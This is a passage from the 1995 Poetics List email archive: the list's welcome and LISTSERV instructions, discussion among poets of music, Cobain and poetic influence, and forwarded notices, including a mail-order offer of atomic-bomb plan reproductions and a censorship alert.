In message <[redacted]> UB Poetics discussion group writes:
> I hope you've all read this message from "Levi Asher," which I read on the
> alt.books.beatgeneration newsgroup.
>
> Can anyone on our poetics list confirm this first-hand account of World
> War III at NYU? Enjoy!
>
> K. Killian
>
>
> > RINGSIDE SEAT

Well, that's all fine and well, but ... i hate to be pedantic but...how was the conference? any good papers? any good readings? anything other than "dysfunctional family systems" run rampant? (too bad my "beat sensibilities" class just ended, this would've been a fine way to conclude, by bringing in a long printout of family feudings. --maria d
> > ----------

↑ Index

155. **Chris Stroffolino**

Re: opportunity knocks

Sat 10 Jun 1995

Dodie--Maybe Rae could read with Will Alexander--I don't know many other multiculturals Sun & Moon has published...

↑ Index

156. **Chris Stroffolino**
Re: opportunity knocks
Sat 10 Jun 1995

OOPS---ignore my message to Dodie too--chris s.

↑ Index

157. **Chris Stroffolino**
Re: palinode on a nightingale
Sat 10 Jun 1995

I'm surprised no one's corrected me--
I quoted Duncan's "Olson was a big man" and said SO WHAT!--So was
DAVEY CROCKETT--I think it's really Daniel Boone--
"With a corn cob pipe and a button nose and two eyes made out of..."

↑ Index

158. **Charles Bernstein**
Welcome to Poetics msg (revised)
Sat 10 Jun 1995

Rev. 6-10-95

Welcome to the Poetics List

&

The Electronic Poetry Center

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2. Subscriptions
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8. Interfaces, HTML, URL
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10. How to Reach the EPC
11. Poetics Archives at EPC

12. Publishers & Editors Read This!

_____

Appendix I: Some Links via EPC
Appendix II: Archives (Alternate)

[This document was prepared by Charles Bernstein ([redacted]. edu) and Loss Pequen~o Glazier ([redacted]).]

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1. About the Poetics List

Please note that this is a private list and information about the list should not be posted to other lists or directories of lists. The idea is to keep the list to those with specific rather than general interests, and also to keep the scale of the list small and the volume managable. Word-of-mouth (and its electronic equivalents) seems to be working fine: please feel free to invite people you know to sign-up. It is easier for me if they sign-up by themselves AND send me ([redacted]) a note telling me how they heard about the list. I will send them *this* document in reply.

---

2. Subscriptions

line, to:

[redacted]

the one-line message should say:

{or}

(replacing Jill Jillway with your own name; but note: do not use your name to unsub)

I will be sent a notice of all subscription activity.

---

3. Who's Subscribed

To see who is subscribed to Poetics, send an e-mail message to blank. In the body of your e-mail message type:

review poetics

---

4. Digest Option

The Poetics List can send a large number of individual messages to your account to each day! If you would prefer to receive ONE message each day,

which would include all messages posted to the list for that day, you can now use the digest option:

Send this one-line message (no subject line) to

[redacted]

set poetics digest

NOTE:!! Send this message to "listserv" not to Poetics or as a reply to this message!!

You can switch back to individual messages by sending this messagage:

set poetics mail

---

5. When you'll be away

You can temporarily turn off your mail by sending a message:

set poetics nomail

& turn it on again with: set poetics mail

---

6. Archives of the Poetics List

There are two ways to get archives. The easiest way is to use the archives of the list at the Electronic Poetry Center (EPC), for which see section 11 below. The other is described in Appendix II.

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7. To Subscribe to RIF/T

Send an e-mail message to [redacted]. Leave the "Subject" line of the e-mail message blank. In the body of your e-mail message type:

subscribe e-poetry John Milton

replacing your real name for "John Milton"

You will receive a confirmation of your subscription soon thereafter.

---

8. Interfaces, HTML, URL (EPC Preface)

Before describing the resources of the EPC and how to gain access to it, it is useful to understand a few Internet concepts.

8.1 Interface

Gopher is an ascii-based interface that offers access through the selection of menus; the web is an ascii-based interface that offers access through _screens_

of information with links to other areas appearing as highlighted text; Mosaic is a graphical interface basically superimposed on the Web structure that offers images, sound, video, and allows you to use your mouse as a navigational tool. The EPC is accessible through any of these interfaces. It is presently evolving strongly towards exclusive Web/Mosaic access.

Even as activities converge, it is also the time of divergent interfaces. I am often surprised by the number of our contributors and participants who do not even have gopher access. Most people, we figure, have at least gopher access, though Web access is quickly becoming a standard. Mosaic, it would be assumed, though assuming predominance in the University setting, has hardly become a reality for most dial-up users, particularly internationally.

8.2 HTML

The standard for Web/Mosaic documents is the markup protocol called html. These are imbedded codes that you will see once in a while when you download an html document. These codes give instructions to the software about highlighting, fonts, and screen layout, as well as providing for the _hot links_ that make possible Web/Mosaic navigation.

8.3 URL

A URL, a "uniform resource locator," is to the Internet what a social security number is to a person. In a web/mosaic interace, the "go to URL" option will specify a specific and unique Internet address for you to go to.

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9. What is the Electronic Poetry Center?

The mission of this World-Wide Web based electronic poetry center is to serve as a hypertextual gateway to the extraordinary range of activity in formally innovative writing in the United States and the world. The Center provides access to numerous electronic resources in the new poetries including RIF/T and other electronic poetry journals, the POETICS List archives, an AUTHOR library of electronic poetic texts, and direct connections to numerous related electronic RESOURCES. For texts housed at the Electronic Poetry Center, texts are "definitive" texts inasmuch as, prior to posting, they have been approved by their producers. JOURNALS distributed by the EPC include:

DIU / Albany
EPC.News / Buffalo
Experioddi(cyber)cist / Florence, AL
Inter\face / Albany, NY
Passages: A Technopoetics Journal / Albany, NY
Poemata - Canadian Poetry Assoc. / London, Ontario (Info)/
RIF/T: Electronic Space for New Poetry, Prose, & Poetics / Buffalo

Segue Foundation/Roof Book News / New York
TREE: TapRoot Electronic Edition / Lakewood, Ohio
We Magazine / Santa Cruz
Witz / Toluca Lake, CA / via Syntax

The Center also provides information about contemporary print little magazines and SMALL PRESSES engaged in poetry and poetics. The Poetry & Poetics DOCUMENT Archive provides access to a number of documents of use to poets, teachers, and researchers. Here you will find essay material and recent obituaries. The EPC also presently offers GALLERY, SOUND, EXHIBITS, and an ANNOUNCEMENTS area.

The Electronic Poetry Center is administered by Loss Glazier and Kenneth Sherwood in collaboration with Charles Bernstein. If you have comments or suggestions about sites to be added to the Center, do not hesitate to contact Loss Pequen~o Glazier, [redacted] or Kenneth Sherwood, [redacted]

---

10. How to reach the EPC

Via the World-Wide Web, the Center can be reached at
http://writing.upenn.edu/internet/library/e-journals/ub/rift
(no spaces in the address)

(Alternatively, you may gopher to writing.upenn.edu. And use the "Search Wings" feature to locate the EPC. Web access is, however, recommended.)

Check with your system administrator if you have problems with access. Also ask about setting a "bookmark" through your system for quick and easy access to the Center when you invoke your interface.

---

11. Poetics Archives via EPC

Go to the EPC and select Poetics from the opening screen. Follow the links to Poetics Archives. You may browse the archives by month and year or search them for specific information. Your interface will allow you to print or download any of these files.

---

12. Publishers & Editors Read This!

PUBLISHERS & EDITORS: Our listings of poetry and poetics information is open and available to you. We are trying to make access to printed publications as easy as possible to our users and ENCOURAGE you to participate! Send a list of your press/publications to [redacted] with the words EPC Press Listing in the subject line. You may also send materials on disk. Though files marked up with html are our goal, ascii files are perfectly acceptable.

Send us extended information on new publications (including any back cover copy and sample poems) as well as complete catalogs/backlists (including excerpts from reviews, sample poems, etc.). Be sure to include full information for ordering--including prices and addresses and phone numbers both of the press and any distributors.

Initially, you might want to send short anouncements of new publications directly to the Poetics list as subscribers do not always (or ever) check the EPC; in your message please include full information for ordering. If you have a fuller listing at EPC, you might also mention that in any Poetics posts.

Appendix I: Some Links Provided by the EPC

Alternative-X
Basil Bunting Poetry Centre (Durham, England) [Informational]
Best-Quality Audio Web Poems (Rhode Island)
Carma Bums 'Tour of Words'
CICNET Electronic Journal Archive
Institute for Advanced Technology in the Humanities (Virginia)
Internet Poetry Archive (North Carolina)
Michigan Electronic Text Archive
Nous Refuse Discussion List (Illinois)
Postmodern Culture (North Carolina)
Whole Earth 'Lectronic Magazine

Appendix II: Alternate Method for Receiving Poetics Archives

You may also receive Poetics archives by e-mail, though the language is somewhat arcane.

To receive postings for a particular month, for example, send an e-mail message to [redacted]

message type:

get poetics.log9505 f=mail

Replace 95 (two digits) with the year and 05 (two digits) for the month you seek.

For a complete list of available back files, send the message

index poetics f=mail

_____ END OF POETICS LIST WELCOME

↑ Index

159. James Sherry
The Bearables
Sun 11 Jun 1995

This may sound hopeless, but WHO ARE the Unbearables and are they really as unbearable as all that? What are their names and where do they publish? James (Pplease reply direct to me since I can't always get to the listserv>)

↑ Index

160. Herb Levy
Music, Sentimentality, and a discrete indiscreet BlaserCon comment
Sun 11 Jun 1995

After coming back from the much fabled (and rightly so) BlaserCon '95 to a week of intermittent Domain Name System errors ("none of the known name servers are responding"), I'm ready to wade into the ongoing musical debate. I read a lot of this in big chunks and hope I have correctly attributed any quotes. I also missed how this thread got titled "sentimentality" but that's not important.

A few people (Diane Ward & Luigi Bob Drake - thanks for reminding me of Gid Tanner & the Skillet Lickers - come to mind, I'm sure I've left out some others) note that different musics serve different functions. But much of the discussion seems to fall into a kind of cliched jazz versus rock argument. "if it's too loud, you're too old" kind of argument, with all that that characterization implies for both sides of the, uh, discourse.

I'm particularly unclear about George Bowering's insistence on the primacy of "the hard stuff" here, given the range of his interests within jazz.

George, it can't just be that Hole's use of only 2 or 3 chords bothers you, 'cause the Ayler Bros. (& I have just sent you something about Don on the back channel) used the same 2 or 3 chords (and, though Ayler's music was timbrally very odd, it was most often limited to traditional harmonic structures). And the Aylers, as you recall, were damned loud live, too. So what is it really?

Ira's three questions early on (& the responses from Sheila Murphy and others) raise some of the issues that distinguish music from, not just poetry, but most of the arts. Music may not be more moving than, say, poetry, but there are more standards (which differ greatly according to genre & style, which I think calls

into question much of the above referenced Bowering/Sondheim discourse) as to what constitutes a "successful" performance in music.

This is especially an issue for me after seeing/hearing more than fifty poets read in four days at BlaserCon. I have to say that some of the "best" readers, as far as performance skills go, were not the best readers as far as getting their work across. Some of the more performative readings were distracting and in one or two instances seemed to contradict the sense of the text being, uh, intoned.

But that's a matter of taste and it seems that by tradition we only make critical comments about music on poetics-list, so let me here invoke another poetics-list tradition.

"Oops, I didn't mean for that to go out to the whole list. Sorry."

Anyway, I've rambled in various directions for long enough.

Herb Levy

[redacted]

↑ Index

161. Herb Levy
Thanks for the EMF catalog
Sun 11 Jun 1995

I moved this from the body of the much longer music morass I posted earlier to ensure that my thanks to Pierre Joris for posting the EMF catalog to poetics didn't get lost.

So thanks, Pierre, for getting this catalog on-line here. It's already given me something to point at for a couple of backchannel talks about new music.

I'd only heard about EMF in the formative stages from some folks. Now that it's a happening thing, I find it's a nicely quirky collection of music, with a lot of very good music.

There's also a few things I wouldn't want the people who live upstairs to listen to, but I can't hear most of the music they play (& they certainly hear more than their share of weird crap) so why should I complain?

They don't have anything by Band of Susans yet, but I'm sure that'll soon be remedied.

Herb Levy

[redacted]

↑ Index

162. **beard**
Re: Hilda Conklin (Laura Ranger)
Sun 11 Jun 1995

Jordan:

> *I'd like publication/ordering info for "Laura's Poems."*

Published by Godwit Publishing Ltd, P.O. Box 4325, Auckland 1, New Zealand, ISBN 0 908877 63 3.

> *Readers of this list may know the book "Poems of a Little Girl" by Hilda Conklin (or Conkling--book's elsewhere).*

Another NZ example is Gloria Rawlinson, who is now in her 70s, and has had a collection "Gloria In Excelsis" published recently by Riemke Ensing as a gift.

And Wystan, thanks for pointing out Michele's success. DIA deserves to sell as many copies as "Laura's Poems": it's full of poetry that enchants, bewilders, intrigues and excites me. I'm particularly glad that it beat "Skinning a Fish". I didn't hear about the results until yesterday, since I've been on nightshift, and my connection to the "Real" has been even more tenuous than usual.

Tom.

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

↑ Index

163. **beard**
hole/cobain/abba
Sun 11 Jun 1995

Ira:

> *Tom, I say let the*
> *elegies to Kurt flow; he was a better artist than you or I or 90% of*
> *this list's members will ever be, musically anyway.*

I'll reserve judgement on Cobain's music, but I _do_ think that many of his followers are responding more to his life/death than to his music. I know people who have painted pictures or written poems "i.m. K.C.", but who admit to having heard nothing except _Smells like Teen Spirit_. Commercially, death is a smart career move. I just get sick of the Rock cliche of "live fast, die young", and I get especially annoyed at those who believe one has to be

psychotic/addictive/angst-ridden/poor/smelly/revolutionary/suicidal in order to be creative. Yawn.

> *And the arrangements*
> *in Abba's songs were amazing; technically they were much more ambitious*
> *and experimental with melody and harmony than many pop bands; do their*
> *critics on this list mean that Abba were "bad" because they were kitsch*
> *(though they still tug mine and many a queer person's heartstrings) or*
> *silly Swedes or what*

I agree that many Abba songs stand up very well as cover versions, a sign that song-writing and not just star hysteria was a reason for their success. Chris Knox did an amazing rendition of "Knowing me, knowing you", and I loved Erasure's CD-single "Abba-esque". Incidentally, there's an Aussie band of Abba-imitators called "Bjorn Again" who released a CD of Erasure covers called "Erasure-ish". Hyperreal!

This has probably already strayed far enough from Poetics, so I won't describe what _I_ call great music (especially since so much of it is instrumental: Orbital, Kraftwerk, Black Dog, Steve Reich, Michael Nyman) except to mention that my lyrical buttons are pushed by Bristol bands - Portishead, Tricky, Massive Attack. Chilling poetry.

Tom.

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

↑ Index

164. Tony Green
Re: sentimentality
Sun 11 Jun 1995

Not a word about the wonderful musics before Bach in Europe. Fact is if you go at it with focussed determination you can get to anyplace in music.

↑ Index

165. Lindz Williamson
cobain
Sun 11 Jun 1995

Hey LC, LC, You're alright by Me, Superstar

If Kurt Cobain deserves a Leonard Cohen heaven then so do I.
I too worship sex in temples of suffering where the music and noise are so loud
they make my insides hurt.
I am equally cursed as I only know Warhol Messiahs that bring deliverance to
the pop world. Consumption is my motto as I swallow myself in order not to be
eaten alive by paisley clean bureaucratic barracuda.
I long to be that silver star shining momentarily on the silver screen with or without
packaging and plastic.
A truly tragic ending is so much more fun than fanning the proverbial
embers of talent.
To strive, to seek and not to yield means nothing to me, I do not have Ulysses
strength or pride. Good things do not always come to those who wait.
I want to explode in a vibrant flash and be consumed by my own brilliance, never
to fade into the shadows of the next trend, but to be the innovator herself.
I want to feel as though I'm not supposed to be here, ahead of my time or trapped in millennia past.
Alienation is respectable, the sad distance protects and preserves an icon from
years of abuse and misuse.
Poor milk at my idol's feet in the temple when I'm gone, but don't embalm me
like little Lenin or the righteous Ramesses. Tattoo my name across your chest but don't condemn me to this place any
longer than I have already beared.
I've practiced the art of the disgusting and
You see I want to be free when I travel to my Leonard Cohen heaven of sex and
religion,
I need to meet my maker head on so I can see what Nirvana really smells like.

Lindz

↑ Index

166. Ryan Knighton
All about the taking
Sun 11 Jun 1995

Just finished rereading Rat Jelly, one of my favourites, right now, and was smitten with aquestion for the list(ners), spurred by the following, unfolding:

TAKING

It is the formal need
to suck blossoms out of the flesh
in those we admire
planting them private in the brain
and cause fruit in lonely gardens.

To learn to point the exact arc
of steel still soft and crazy
before it hits the page.
I have stroked teh mood and tone
of hundred year dead men and women
Emily Dickinson's large dog, Conrad's beard
and, for myself,
removed them from historical traffic.
Having tasted their brain. Or heard
the wet sound of a death cough.
Their idea of the immaculate moment is now.

The rumours pass on
the rumours pass on
are planted
till they become a spine.

Every noticed how often "brain" occurs in Ondaatje's poetry? Very stark. Anyhow, as some of you may have noticed, I am really interested in influence. My question is not just what do we make of/with influence, the "taking", but what is the mechanics of influence? How does one translate the inertia?

Ryan

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167. Tony Green
Re: All about the taking
Sun 11 Jun 1995

Dear Ryan, that sounds like the historical effort that could be called appropriation of the personae of the "past" a kind of inhabitation of the self-

portrait of the deceased, a way to shift one's identity, not necessarily amelioration, to become something one would wish oneself to be, by the process of bio-graphy. That "taking "is all about the giving of whatever one is able to the deceased (love, pity, questioning, argument, what else?) The deceased are different teachers from the living in the exercise of their usually kinder seeming authority. What do you have on this, it interests me too, and I'm just sketching aloud here...(too damn tired after a long seminar to articulate anything so big as a theory). The statements in the verses seem to lead to somewhere about the same kind of place? Best

↑ Index

168. Jordan Davis.
The Unbearables/letter from a young poet
Mon 12 Jun 1995

James: The Unbearables are published (I believe) by Grove. Their Andre Breton is Ron Kolm. Their Eluard is (was?--I think they excommunicated him after the New Yorker printed him) Sparrow. Christian X. Hunter, Michael Carter, Jill Rapaport, Buddy Kold, and dozens of others are associated with the group, which met regularly at Cafe No Bar on 9th btw 1 and A for a year or so.

Rilke: Okay, I'm off it. Now, tell me (without cribbing from Zukofsky) what are the minimum and the maximum bounds on a poem? What does a poem have to do to be a good poem?

Love,
Elvis aron presley

↑ Index

169. Jordan Davis.
name calling
Mon 12 Jun 1995

Chris S.
What do you wish would happen on this list?

Marisa J.
What do you wish would happen on this list?

Maria D.
What do you wish would happen on this list?

Kenny G.
What do you wish would happen on this list?

Lisa J.
What do you wish would happen on this list?

Sheila E.
What do you wish would happen on this list?

Curious
Jordan

↑ Index

170. FUNKHOUSER CHRISTOPH
BOMB PLANS AVAILABLE
Mon 12 Jun 1995

This message just appeared on the Aerospace List. I thought it's appearance might be of interest to members of this list.

Forwarded message:

Posted: Mon, Jun 5, 1995 6:23 PM EDT Msg: IVJF-5161-3293/20
From: ("RFC-822": <(a)uga.cc.uga.edu:owner-aerosp-l(a)SIVM.SI.EDU>, SITE:INTERNET)

CC: abutrica/NASA
Subj: Historic / Scientific Documents *** Just Released!!

Ref No: (q)15967 Mon Jun 5 18:22:48 1995(q)(a) gateway.sprint.com

Message Id: sprintf.me.966:05.06.95.22.22.45:us/tel email/internet

Authorized by:
:(C:USA,ADMD:telemail,
PRMD:internet,
RFC-822"LWALLYSEAG(a)AOL.COM)
Content: Important

Original Encoded Information: iA5Text

We share a similar interest in the History/Science of WWII. I have a good friend who just retired as the Associate Director of Los Alamos Natl Labs in New Mexico.

He gave me the plans to the FAT MAN & LITTLE BOY Atomic Bombs. (Unique commemorative, declassified and "just" released!)

This is a "must have" for anyone interested in History or Science. I can provide a Museum quality reproduction (1st Draft) of these documents to you if you are interested.

If you are willing to cover my costs, I will gladly
send them to you.

My "cost" of production and 1st class postage is $15.00 plus $3.00 shipping for each set.

I have a limited supply of 1st drafts, so please let me know asap.

(please forward to anyone who might be interested or benifit from these.)

Make check payable to: Jeff Slaton

Sincerely,
Jeff Slaton
6808 Truchas Dr. NE
Albq., NM 87109
"Support The Sciences"

2

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171. Edward Foster
Re: Hilda Conklin (Laura Ranger)
Mon 12 Jun 1995

---

i met/corresponded with conklin many years ago; the odd business of a poet whose career ended before she started high school. as i remember, she eventuallylived in a no where town, easthampton, massachusetts. she died a few yrs ago (?)

↑ Index

172. Charles Bernstein
Internet Censorship (Exxon/Gorton bill)
Mon 12 Jun 1995

I received this message today from Lucy Komisar of PEN American Center, about a matter that affects all on this list but which only those of us in the U.S. can do much about.

****

Date: Mon, 12 Jun 1995 09:12:18 -0400 (EDT)
Subject: Internet censorship on Senate floor

The attempt to censor the Internet comes up on the floor tomorrow, Tuesday.

It's important for senators to get calls from their constituents. Long distance to Washington is NOT necessary--just call your senators' local offices--they keep a record.

Say you want the Senator to vote against the Exon/Gorton and Dole/Grassley amendments to censor the Internet and for the Leahy bill. The operator will ask for your name and address, and that's it. Takes 2 minutes.

↑ Index

173. Carl Lynden Peters
Re: All about the taking
Mon 12 Jun 1995

---

ryan, have you read bloom's _anxiety of influence_? -- i've only read one essay by bloom, although that title has come up of late in recent converstations. from what i gather, he talks abt strong poets and weak poets, and how in order for a weak poet to become strong seeks to misread the precursor poet --but that's overly sketchy, i know...

...influence and choice...?

take care,
c

↑ Index

174. Michael Boughn
Call for Essays
Mon 12 Jun 1995

********** CALL FOR ESSAYS **********

I am currently investigating the possibility of putting together an anthology of essays on American prosodies after Whitman and Dickinson (and by "American" I mean the whole hemisphere).

I'm thinking of prosody in its most expansive sense, the overall sonal structure of the poem, including rhythm, syntax, rhyme, and lineation. This does NOT include discussions of poetics. Approaches might include anything from discussions such as Duncan's "The Adventure of Whitman's Line" to more technical essays, such as Donald Wesling's "The Prosodies of Free Verse." I am not primarily interested in strictly quantitative analyses, i.e. finding the perfect system for measuring speech rhythms, unless they are tied to insights into the poem as a meaningful act.

Several years ago Douglas Messerli announced such a book (it was called *The New American Prosody*) but he finally had to abandoned it when he couldn't get enough material. Let's try it again. I think there's a definite need for it.

Anyone with material or ideas, please contact:

Michael Boughn
653 Euclid Ave.
Toronto ON M6G 2T6
Canada
e-mail: [redacted]

↑ Index

175. Michael Boughn
Re: Call for Essay
Mon 12 Jun 1995

Further to my last post about a prosody anthology, does anyone know of any other lists where interested poets and scholars might be hovering? If so, would you please send me relevant addresses back channel?

Thanks,
Mike
[redacted]

↑ Index

176. Jordan Davis.
improved system of writing
Mon 12 Jun 1995

Anybody want to go in on the $97 with me?
Jordan

Improved System of Writing

Most readers/writers of written matter are aware of, but generally accept as practically unavoidable, occasional time-consuming, irritating, often irreconcilable, ambiguities/puzzles/incompleteness in written matter, eg: the intended leftward/rightward semirange of an "and/or" or hyphenation function; the intended antecedent of a parenthesized expression, or of a pleural or possessive ending of a word, or the intended antecedent of a word or other syntax portion that suggests the presence of a pertinent antecedent (eg such "procedents" as viz, ergo, eg, ie, therefore, whereby, wherefore, whereas, thus, or, and, but, so, such as, for example), or the intended procedents of antecedents, eg the intended procedents of the above procedents serving as

antecedents; the intended leftward range of a comma; what word(s) a modifier, such as an adjective or adverb (eg two nouns separated by an "and" and preceded by an adjective, which may or may not be intended to modify the second noun); the intended grouping of words intended to function as a group; an intended syntactical step in a sentence, or an intended substep within such a step (eg steps of various orders); an improper/desperate use of a comma. A typical reason for the presence of such ambiguities/incompleteness/imprecision in written matter is often one or more unnecessary limitations imposed by typical antiquated syntactical methods, eg the difficulty or apparent impossibility of obtaining greater clarity/precision/depth without substantial loss of compactness eg conciseness/succinctness, eg to make written matter clear/thorough it sometimes has to become quite lengthy/ponderous/cumbersome, utilizing only conventional syntactical techniques, such as using typical punctuation marks/optimally selecting words and their best order. This unnecessarily limits the practicality/efficiency/potency eg multidimensionality of written matter. There is also a need for efficiently, eg compactly, indicating a desired repetition of a selected syntax portion. My improved system of writing is not, of course, purported to be perfect, nor to be a method of speedwriting eg shorthand, but nevertheless offers various, apparently novel, syntactical-in-a-broad-sense techniques that address, and appear to substantially satisfy, the fairly-obvious longstanding widespread need for improved syntactical methods/tools for facilitating more efficient, practical, potent, compact, improved written matter eg a system/protocol/syntactical toolbox for substantially reducing the above-mentioned limitations of conventional antiquated syntactical techniques. To receive additional information on the recently improved system, please write; please send your letter requesting such additional information, and enclosing your check for ninety-seven dollars (U.S. $97.00) to cover handling and mailing costs, to Mark Schuman; 101 G Street S.W. #516; Washington, D.C. 20024. Thank you. If, in your future readings, you look for and note the occasional such deficiencies, you may be surprised at their frequency of occurrence. Also, my improved system of writing tends to compact written matter in general, eg even when inefficient use of typographical space appears to be the only deficiency. If you wish more information, please see above in this paragraph, and acknowledge receipt of all info. The recently improved system utilizes a moderate number of symbols inter-/intrameshed with words, and coding; it appears to be novel, practical, and useful, and should facilitate improved written-matter-in-a-broad-sense. For more info, please see the preceding paragraph. Generally, especially if not all of the available features of the new system are selected, most words should no such symbol on or next to ^it^. --
Copyright (C) 1995 Mark Schuman

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177. Kenneth Goldsmith
John Cage WWW Site Under Construction
Mon 12 Jun 1995

I am creating a John Cage WWW Site on our WFMU server. To my knowledge, there is no Cage homepage/resource currently on the net. I am soliciting material for the page: ascii, html-tagged docs, BBedit docs, jpegs, gifs, etc. relating to John Cage, his life, his work, those who worked with him, etc. At this point, I am only looking for text & visuals--later we can add audio clips. The site is well traveled and I would like to include as many related links as possible. Things are just under construction now but we should have the site up and running by the end of the summer. Thanks in advance for your interest. Please forward this message to those who might be interested.

Kenneth Goldsmith
[redacted]

check out WFMU's homepage: http://wfmu.org

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178. maria damon
Re: name calling
Mon 12 Jun 1995

In message <[redacted]> UB Poetics discussion group writes:
> Chris S.
> What do you wish would happen on this list?
>
> Marisa J.
> What do you wish would happen on this list?
>
> Maria D.
> What do you wish would happen on this list?
>
> Kenny G.
> What do you wish would happen on this list?
>
> Lisa J.
> What do you wish would happen on this list?
>
> Sheila E.
> What do you wish would happen on this list?
>

> Curious
> Jordan

do you really wanna know? there are many answers to that question. i want the list to provide me with an exciting social life. I want the list to provide me with an exciting intellectual life. i want the list to provide me with a network of likeminded folks all over the world so that i have at least one kindred spirit in every port. i want someone to offer me a great job. i want the euphoric bliss of the ages. secrets of the universe. a great relationship. instant talent and smartness. uninhibited creativity that finds its perfect expression every time, movement into space with untrammeled decency clarity and adventure. on a more pedestrian level, i want to learn how to read some of the newer work that intimidates me. i like the energy i feel from it, but feel inadequate sometimes to interact with it (let alone to teach it, though one of my fantasies is also to one day not have to teach). i want opportunities to meet, help and be helped by, others who are in touch with the spirit of poesie. basically, i guess you could say i want community. did you mean by the question, what content do i want to see? let me think about that and get back to you later. --maria d

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179. Loss Glazier
Re: John Cage WWW Site Under Construction
Mon 12 Jun 1995

Kenneth,

Please post the Cage URL to this list when it is up or even partially up so that we may link to it from the EPC.

Loss

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180. Steve Carll
Re: name calling
Mon 12 Jun 1995

What about me, Jordan?

Just kidding. Don't let anybody shut you down by pretending that "we've answered all these questions before," because the fact is, often we haven't really answered the question, only finessed it into a question we *can* answer; and even with the questions we do answer, the whole world changes underneath and leaves the answer looking embarrassed and the question needing to be paid attention to anew.

I *wish* eternal inner (and outer) PEACE would break out on this list, but I'd settle for many intelligent, inspired people feeling free to communicate with each other about what concerns them and about what provokes thought and feeling.

Steve

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181. **Steve Carll**
Re: The Unbearables/letter from a young poet
Mon 12 Jun 1995

> *Rilke:*
> *Okay, I'm off it. Now, tell me (without cribbing from Zukofsky) what are the minimum and the maximum bounds on a poem? What does a poem have to do to be a*
> *good poem?*

Just blow my mind, baby; just blow my fucking mind.

Steve (live well die when you're damn good and ready) Carll

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182. **John Cayley**
Golf was invented in China
Mon 12 Jun 1995

Could someone re-post this to one of those *huge* PoMo lists or newsgroups. I guess this will qualify as the world's greatest simulacrum:

> *[CND, 06/11/95] BEIJING -- Chang'an, the capital of the Tang dynasty and the start of the famous ancient Silk Route is to be re-built to attract more visitors, Reuter reported. The city will preserve traditional Chinese city design such as gates, watchtowers and terraces. No construction date or cost were revealed, however, it will be the world's biggest replica metropolis. Chang'an is located near Xi'an, capital of Shaanxi province in central China. (Kun Wang, Jian LIU)*

John Cayley Wellsweep Press [in Chinese HZ:]
PERMANENT ADDRESS: 1 Grove End House 150 Highgate Road London NW5 1PD UK
Tel & Fax: 0[redacted] Email: [redacted]
TEMPORARY FROM 17 MAY TO 5 AUG 1995:
St Leonards Island PO Box 62 Port Carling Ont. P0B 1J0 Canada
Tel & Fax [redacted] Email: [redacted]

SUMMER 1995 URL: http://www.inforamp.net/~cayley

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183. Sheila E. Murphy
Re: name calling
Tue 13 Jun 1995

I'm grateful for the question: "What do you wish would happen on this list?" which of course engenders potential sheepishness, as anything I wish that I've not already tried to make happen volleys right back in the form of "Why NOT" - What, after all, could stop desire except a) Lethargy b) Guilt c) Fear d) Lack of Imagination e) Many More Unnamables I'd Just As Soon Not Seep Into My Body's Brain. (Ah, denial!)

Maria does a nice job of kicking off an answer. Community's a nice start.

One thing I'll admit, having been asked this open thing: I have for many years relished my correspondence with several individuals who have become close through the medium of letters. That kind of thing can happen (the one-to-one) electronically, and does. In SOME, certainly not all, instances, the billboard motif of the list is difficult, as private relationships have their own subtlety and craft themselves of a privacy that is itself delicious beyond what group things usually do for me.

And yet, with that, the list offers DIFFERENT things. It was a good vicarious experience to hear many views of the Blaser conference. Perhaps just good to know that it existed and brought so much dazzlement and warmth to so many people, who held and projected what had happened for them. In this way, the list is BETTER THAN private correspondence. So, more of that.

What I'd like to see MORE OF is the sharing of new work via the list. Maybe group creations.

Yet maybe I don't. You'll notice that I haven't started either one of these myself. Why not?

One thing I definitely like are QUESTIONS that bring up issues that people want to whiffle around. It's nice to listen (not to deny the eyes) and to toss in something when it is possible to think back.

Are you sorry you asked (me)? But it's good to be asked.

Sheila E.

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184. Jordan Davis.
everywhere and nowhere
Tue 13 Jun 1995

Maria, Steve, and Sheila, Thanks. It made me happy to read what you wanted to happen. It does seem like there is a common (strong) interest in radical poetries among the readers of this list. Maria, I'd like to get some energy for/a way into reading newer work, too. For instance, could somebody discuss the ideological distinction between writing in Poetic Briefs/Situation and writing in Apex/Chain? (Maybe we've all heard enough about that. How about someone offering a brief introduction to the work of Mark Wallace, or Chris Stroffolino, or Kristin Prevallet?) Could somebody say something about the work by younger poets in New York that claims to be "against form"? Some people have been posting poems from time to time--reading back through the monthly journals I found poems by Bill Luoma, Charles Alexander, Alan Sondheim and others. It seemed to me like a pretty good (i.e. friendly) way to publish. And how about collaborative works through this list? Maybe a MUD or a MOO or an IRC, some real-time area, would be a better place to write as a group. I don't quite know how those areas work, though. Maybe Chris Funkhouser can explain a little?

Chris F.,
What do you wish would happen on this list?

Dodie B.,
What do you wish would happen on this list?

Charles B.,
What do you wish would happen on this list?

Tan L.,
What do you wish would happen on this list?

Carla B.,
What do you wish would happen on this list?

Interested and listening,
Jordan

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185. maria damon
Re: name calling
Tue 13 Jun 1995

In message <[redacted]> UB Poetics discussion group
writes:

> What about me, Jordan?
>
> Just kidding. Don't let anybody shut you down by pretending that "we've
> answered all these questions before," because the fact is, often we haven't
> really answered the question, only finessed it into a question we *can*
> answer; and even with the questions we do answer, the whole world changes
> underneath and leaves the answer looking embarrassed and the question
> needing to be paid attention to anew.
>
> I *wish* eternal inner (and outer) PEACE would break out on this list, but
> I'd settle for many intelligent, inspired people feeling free to communicate
> with each other about what concerns them and about what provokes thought
and
> feeling.
>
> Steve

the nature of this msg makes me wonder: jordan davis, why dd you ask me (imagine italics on that final syllable)? have i indicated discontent? --maria d

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186. Robert Drake
Re: everywhere and nowhere
Tue 13 Jun 1995

> *For instance, could somebody discuss the ideological distinction between writing in Poetic Briefs/Situation and writing in Apex/Chain? (Maybe we've all heard enough about that. How about someone offering a brief introduction to the work of Mark Wallace, or Chris Stroffolino, or Kristin Prevallet?*

jordan--

